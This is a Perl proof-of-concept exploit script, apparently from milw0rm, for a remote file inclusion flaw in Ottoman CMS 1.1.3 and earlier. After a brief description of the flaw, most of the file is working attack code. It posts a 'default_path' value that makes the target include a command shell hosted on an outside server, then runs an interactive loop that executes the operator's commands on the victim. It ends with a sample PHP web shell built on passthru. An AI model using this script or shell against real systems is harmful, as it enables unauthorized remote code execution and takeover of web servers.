#!/usr/bin/perl
use IO::Socket;


################################################################################
#                                                                              #
#         Jacek Wlodarczyk (j4ck) - jacekwlo[at]gmail[dot]com                  #
#                                                                              #
################################################################################




#Title:       Ottoman CMS <= 1.1.3 Remote File Inclusion Exploit
#Application: Ottoman Content Management System
#Version:     1.1.3 and prior
#Url:         http://www.lowter.com/p/ottoman



#Affected software description:

#Input passed to the "default_path" parameter in "index.php", "error.php", "classes/main_class.php", "format_css.php", "js.php",
#and "rss.php" is not properly sanitized before being used to include files.
#Vulnerable scripts not properly sanitizing user-supplied input to the 'POST' and 'COOKIE' variables.
#This can be exploited to execute arbitrary PHP code by including files from local or external resources.
#Exploitation requires turn ON "register_globals"

#PoC Exploit (POST method):



if (@ARGV ne 4)
  {
    &usage;
  }


sub usage()
{
  print "\r\n (c) Jacek Wlodarczyk (j4ck)\r\n\r\n";
  print "- Exploit for Ottoman CMS <= 1.1.3\r\n\r\n";
  print "- Usage: $0 <target> <script location> <shell location> <shell variable>\r\n";
  print "- <target>             -> Victim's target eg: http://www.victim.com\r\n";
  print "- <script location>    -> Path to script  eg: /ottoman/error.php\r\n";
  print "- <cmd shell location> -> eg: http://www.site.com/sh_dir/\r\n";
  print "- <cmd shell variable> -> eg: cmd\r\n\r\n";
  print "- Eg: http://127.0.0.1 /ottoman_v1.1.3/index.php http://10.0.0.10/sh_dir/ cmd\r\n\r\n";
  exit();
}




$HOST     = $ARGV[0];
$DIR      = $ARGV[1];
$INC_FILE = $ARGV[2];
$CMD      = $ARGV[3];
$COMMAND  = '';

print "\r\nATTACKING : ".$HOST.$DIR."\r\n\r\n";
$HOST =~ s/(http:\/\/)//;
       

while()
  {

    print "[shell] \$";
    chomp($COMMAND = <STDIN>);
    if ($COMMAND eq "q")
      {
        exit;
      }

    if (!$COMMAND)
      {
        print "\nPlease Enter a Command\n\n";
        next;
      }


    $data="default_path=".$INC_FILE."&".$CMD."=".$COMMAND;
    $post = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$HOST", PeerPort => "80") || die "Error 404\r\n\r\n";

    print $post "POST ".$DIR." HTTP/1.1\r\n";
    print $post "Host: ".$HOST."\r\n";
    print $post "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4\r\n";
    print $post "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
    print $post "Accept-Language: en-us;q=0.7,en;q=0.3\r\n";
    print $post "Accept-Encoding: gzip,deflate\r\n";
    print $post "Connection: Keep-Alive\r\n";
    print $post "Keep-Alive: 300\r\n";
    print $post "Cache-Control: no-cache\r\n";
    print $post "Content-Type: application/x-www-form-urlencoded\r\n";
    print $post "Content-Length: ".length($data)."\r\n";
    print $post "Connection: close\r\n\r\n";
    print $post $data."\r\n";





    while ($ans = <$post>)
      {
        if ($ans =~ /404/ )
          {
            printf "\n\nFile ".$ARGV[1]." no exists.\r\n\r\n";
            exit;
          }
        printf $ans;
      }

  }
exit;


#Shell example:

#config.php
#------cut---------------
#<?
#passthru($_POST['cmd']);
#?>
#------cut---------------

# milw0rm.com [2006-07-09]
